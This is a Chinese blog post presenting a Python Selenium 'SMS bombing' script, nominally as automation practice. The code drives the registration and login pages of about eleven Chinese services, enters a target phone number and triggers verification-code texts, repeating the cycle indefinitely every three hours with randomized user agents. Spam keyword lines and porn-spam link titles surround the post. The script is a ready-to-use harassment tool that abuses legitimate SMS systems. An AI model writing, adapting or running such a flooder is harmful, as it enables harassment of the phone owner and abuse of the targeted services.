亚洲免费在线-亚洲免费在线播放-亚洲免费在线观看-亚洲免费在线观看视频-亚洲免费在线看-亚洲免费在线视频

python 短信轟炸

系統 1565 0

之前用了谷歌的selenium模塊,為了練習一下 所以寫了這個(沒錯 才不是別的理由!)

代碼里涉及到了各種復雜的情況,包括要找的div在別的iframe中的處理方式,頂部導航欄的定位方式等等。綜合性很強

下面是代碼

            
              from selenium import webdriver
import time
from fake_useragent import UserAgent

opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')

# 更換頭部
ua = UserAgent()
opt.add_argument('user-agent="%s"' % ua.random)
driver = webdriver.Chrome(chrome_options=opt)


class HongZha:

    def __init__(self):
        self.phone = 'xxxxxxxxxxx'    # your phone number
        self.num = 0

    # 發送驗證碼
    def send_yzm(self, button, name):
        button.click()
        self.num += 1
        print("{}  第{}次  發送成功  {}".format(self.phone, self.num, name))

    def youku(self, name):
        driver.get('https://www.youku.com/')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//img[@class="a-avatar_17DKW"]').click()
        time.sleep(3)
        driver.find_element_by_xpath('//a[@href="javascript:void(0);"]').click()
        time.sleep(3)
        driver.find_element_by_xpath('//input[@class="fm-text"]').send_keys(self.phone)
        button = driver.find_element_by_xpath('//a[@class="send-btn-link"]')
        self.send_yzm(button, name)

    # 瓜子注冊接口
    def guazi(self, name):
            try:
                driver.implicitly_wait(10)
                driver.get("https://www.guazi.com/www/bj/buy")
                a_btn = driver.find_element_by_xpath("http://a[@class='uc-my']")
                a_btn.click()
                tel = driver.find_element_by_xpath("http://input[@name='phone']")
                tel.send_keys(self.phone)
                button = driver.find_element_by_xpath("http://button[@class='get-code']")
                self.send_yzm(button, name)
            except:
                print('faled')

    # 唯品會注冊接口
    def wphui(self, name):
            driver.get("https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F")
            driver.implicitly_wait(10)
            tel = driver.find_element_by_xpath("http://input[@placeholder='請輸入手機號碼']")
            tel.send_keys(self.phone)
            driver.find_element_by_xpath('//a[contains(./text(),"獲取驗證碼")]').click()
            button = driver.find_element_by_xpath("http://a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']")
            self.send_yzm(button, name)

    # 有贊注冊接口
    def youzan(self, name):
        driver.get('https://account.youzan.com/login')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//img[@src="http://b.yzcdn.cn/wsc-pc-account/images/pc@2x.png"]').click()
        driver.find_element_by_xpath('//li[@class="js-tab-captcha-login"]').click()
        driver.find_elements_by_xpath('//input[@name="phoneInfo"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//div[@class="sms-btn js-get-identify-code"]')[0]
        self.send_yzm(button, name)

    # 拼多多短信登陸接口
    def pinduoduo(self, name):
        driver.get('http://mobile.yangkeduo.com/login.html')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//div[@class="phone-login"]/span').click()
        driver.find_element_by_xpath('//input[@id="user-mobile"]').send_keys(self.phone)
        time.sleep(3)
        button=driver.find_element_by_xpath('//button[@id="code-button"]')
        self.send_yzm(button, name)

    def wangyiyun(self, name):
        driver.get('https://music.163.com/')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//a[@class="link s-fc3"]')[0].click()
        driver.find_element_by_xpath('//a[@class="u-btn2 u-btn2-1"]').click()
        driver.find_element_by_xpath('//input[@class="j-phone txt u-txt"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@class="j-pwd u-txt"]').send_keys('woshinibaba123')
        button = driver.find_element_by_xpath('//a[@class="j-btn u-btn2 u-btn2-2"]')
        self.send_yzm(button, name)

    def weibo(self, name):
        try:
            driver.get('https://weibo.com/signup/signup.php')
            driver.implicitly_wait(10)
            driver.find_elements_by_xpath('//input[@class="tel_num"]')[0].send_keys(self.phone)
            driver.find_element_by_xpath('//input[@class="W_input"]').send_keys('woshinibibi123')
            s = driver.find_element_by_xpath('//select[@class="sel year"]')
            s.find_element_by_xpath('//option[@value="1996"]').click()
            s = driver.find_element_by_xpath('//select[@class="sel month"]')
            s.find_element_by_xpath('//option[@value="1"]').click()
            s = driver.find_element_by_xpath('//select[@class="sel day"]')
            s.find_element_by_xpath('//option[@value="1"]').click()
            button = driver.find_element_by_xpath('//a[@class="W_btn_e"]')
            self.send_yzm(button, name)
        except:
            pass

    def baiduyun(self, name):
        driver.get('https://login.bce.baidu.com/reg.html?tpl=bceplat&from=portal')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//input[@placeholder="用戶名"]')[0].send_keys('123sasdsa')
        driver.find_elements_by_xpath('//input[@placeholder="密碼"]')[0].send_keys('Aa123123123')
        driver.find_elements_by_xpath('//input[@placeholder="確認密碼"]')[0].send_keys('Aa123123123')
        driver.find_elements_by_xpath('//input[@placeholder="手機號"]')[0].send_keys(self.phone)
        button = driver.find_element_by_xpath('//button[@class="btn-light"]')
        self.send_yzm(button, name)

    def huaweiyun(self, name):
        driver.get('https://reg.huaweicloud.com/registerui/cn/register.html?locale=zh-cn&channelFrom=MTAyMQ==&fromuser=null&service=https%3A%2F%2Factivity.huaweicloud.com%2F2019august_promotion%2Findex.html%3Futm_source%3Dbaidu-a%26utm_medium%3Dse-cpc-op%26utm_campaign%3DPP-%25E7%25AB%259E%25E5%2593%2581%26utm_content%3DPP-%25E7%25AB%259E%25E5%2593%2581-%25E9%2598%25BF%25E9%2587%258C%25E4%25BA%2591%26utm_term%3D%25E9%2598%25BF%25E9%2587%258C%25E4%25BA%2591#/register')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//input[@placeholder="請輸入您的手機號"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//div[@id="msgBtn"]')[0]
        self.send_yzm(button, name)

    def yinxiang(self, name):
        driver.get('https://static.app.yinxiang.com/embedded-web/registration/index.html?targetUrl=%2FHome.action#/registration')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//input[@class="registration-account-input "]')[0].send_keys(self.phone)
        driver.find_elements_by_xpath('//input[@placeholder="設置密碼,至少6位字符"]')[0].send_keys('woshinibaba123123')
        button = driver.find_elements_by_xpath('//div[@class="registration-sms-vercode-btn-validate"]')[0]
        self.send_yzm(button, name)
        time.sleep(3)

    def douban(self, name):
        driver.get('https://www.douban.com/')
        driver.implicitly_wait(10)
        iframe = driver.find_elements_by_tag_name("iframe")[0]   # 由于要找的input在iframe中,直接定位不到該目標,要先轉換到其所在的iframe中才行
        driver.switch_to_frame(iframe)
        driver.find_elements_by_xpath('//input[@name="phone"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//div[@class="account-form-field-code"]')[0]
        self.send_yzm(button, name)
        time.sleep(3)

    def aibiying(self, name):
        driver.get('https://www.airbnb.cn/?af=43896654&c=.pi9.pkbaidu_brd_brandzone_demand_title_p1&src=Baidu&medium=PPC&ag_kwid=2299-36-57701246c0b98773.6a0cc0f87b49337e')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//div[@class="_18lcoy3z"]')[7].click()  # 頂部導航欄直接定位不到,要先定位導航欄,再逐步定位
        driver.find_elements_by_xpath('//input[@class="_kbzo2td"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//button[@class="_1wficfyg"]')[0]
        self.send_yzm(button, name)
        time.sleep(3)

    # 循環執行
    def main(self):
        while True:
            self.guazi('瓜子')
            time.sleep(3)
            self.pinduoduo('拼多多')
            time.sleep(3)
            self.wphui('唯品會')
            time.sleep(3)
            self.youzan('有贊')
            time.sleep(3)
            self.wangyiyun('網易云')
            time.sleep(3)
            self.weibo('微博')
            time.sleep(3)
            self.baiduyun('百度云')
            time.sleep(3)
            self.huaweiyun('華為云')
            time.sleep(3)
            self.yinxiang('印象筆記')
            time.sleep(3)
            self.douban('豆瓣')
            time.sleep(3)
            self.aibiying('愛彼迎')
            time.sleep(10800)


if __name__ == '__main__':
    hongzha = HongZha()
    hongzha.main()


            
          

?


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦?。?!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 精品一区二区三区影片 | 亚洲sss综合天堂久久久 | 亚洲欧美日韩综合在线 | 福利午夜国产网站在线不卡 | 五月婷婷之综合激情 | 超碰最新上传 | 狠狠色丁香婷婷综合视频 | 欧美亚洲另类久久综合 | 日韩经典在线 | 婷婷视频在线 | 老司机午夜影院 | 网络色综合久久 | 最新黄色免费网站 | 国产免费一区二区三区 | 色激情综合网 | 伊人亚洲 | 中文字幕色婷婷在线精品中 | 在线观看国产一区亚洲bd | 色婷婷久久免费网站 | 亚洲黄a | 欧美色图一区二区 | 日韩在线手机看片免费看 | 国产a级网站 | 亚洲国产精品成 | 日韩视频免费一区二区三区 | 性做久久久久久久免费看 | 国产1区2区3区在线观看 | 青青草国产免费一区二区 | 天天干天天色综合网 | 99九九精品免费视频观看 | 伊人影院99| 久久国产大片 | 免费人成网站在线高清 | 国产福利在线观看第二区 | 搜索一级毛片 | 日韩精品中文字幕久久 | 奇米第四狠狠777高清秒播 | 久久无码精品一区二区三区 | 久久久久青草线蕉亚洲麻豆 | 欧美a毛片| 一本到在线观看视频不卡 |